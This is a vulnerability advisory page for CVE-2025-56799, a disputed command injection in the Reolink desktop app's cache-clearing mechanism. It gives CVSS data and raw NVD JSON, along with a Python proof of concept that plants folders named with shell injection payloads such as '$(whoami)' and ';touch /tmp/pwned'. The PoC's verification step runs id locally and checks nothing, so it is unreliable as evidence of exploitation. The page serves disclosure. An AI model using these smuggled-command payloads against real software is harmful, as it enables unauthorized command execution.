Security Vulnerability Report
中文
CVE-2025-56799 CVSS 6.5 MEDIUM

CVE-2025-56799

Published: 2025-10-21 19:21:23
Last Modified: 2025-11-17 12:46:33

Description

Reolink desktop application 8.18.12 contains a command injection vulnerability in its scheduled cache-clearing mechanism via a crafted folder name. NOTE: this is disputed by the Supplier because a crafted folder name would arise only if the local user were attacking himself.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:reolink:reolink:8.18.12:*:*:*:desktop:*:*:* - VULNERABLE
Reolink Desktop Application 8.18.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-56799 - Reolink Desktop Application Command Injection PoC # Vulnerability: Command injection via crafted folder name in cache-clearing mechanism import os import subprocess # Step 1: Create a malicious folder with a crafted name containing shell commands # The folder name is designed to inject commands when the cache-clearing # mechanism processes it. For example, using backticks or semicolons. malicious_folder_name = "cache_$(whoami)_$(id)" # Alternative payloads: # malicious_folder_name = "cache;touch /tmp/pwned" # malicious_folder_name = "cache`id > /tmp/pwned`" # Step 2: Place the malicious folder in a location scanned by Reolink's # cache-clearing mechanism (e.g., the cache directory or a monitored path) target_directory = os.path.expanduser("~/.config/reolink/cache/") os.makedirs(target_directory, exist_ok=True) malicious_path = os.path.join(target_directory, malicious_folder_name) os.makedirs(malicious_path, exist_ok=True) # Step 3: Wait for the scheduled cache-clearing task to execute # When Reolink processes this folder name in a shell command, # the injected commands will be executed print(f"[+] Malicious folder created at: {malicious_path}") print("[+] Waiting for Reolink's scheduled cache-clearing task...") print("[+] Upon execution, the injected commands will run on the system") # Step 4: Verify exploitation # Check if the injected command was executed result = subprocess.run(["id"], capture_output=True, text=True) print(f"[+] Current user: {result.stdout.strip()}") # Note: This vulnerability is disputed by the vendor (Reolink) because # creating such a folder requires local system access, making it a # self-attack scenario rather than a remote exploitable vulnerability.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56799", "sourceIdentifier": "[email protected]", "published": "2025-10-21T19:21:22.663", "lastModified": "2025-11-17T12:46:33.180", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Reolink desktop application 8.18.12 contains a command injection vulnerability in its scheduled cache-clearing mechanism via a crafted folder name. NOTE: this is disputed by the Supplier because a crafted folder name would arise only if the local user were attacking himself."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:reolink:reolink:8.18.12:*:*:*:desktop:*:*:*", "matchCriteriaId": "30EFCAEB-546D-449F-A08D-360DFF9CE745"}]}]}], "references": [{"url": "https://github.com/shinyColumn/CVE-2025-56799", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://shinycolumn.notion.site/reolink-command-injection", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}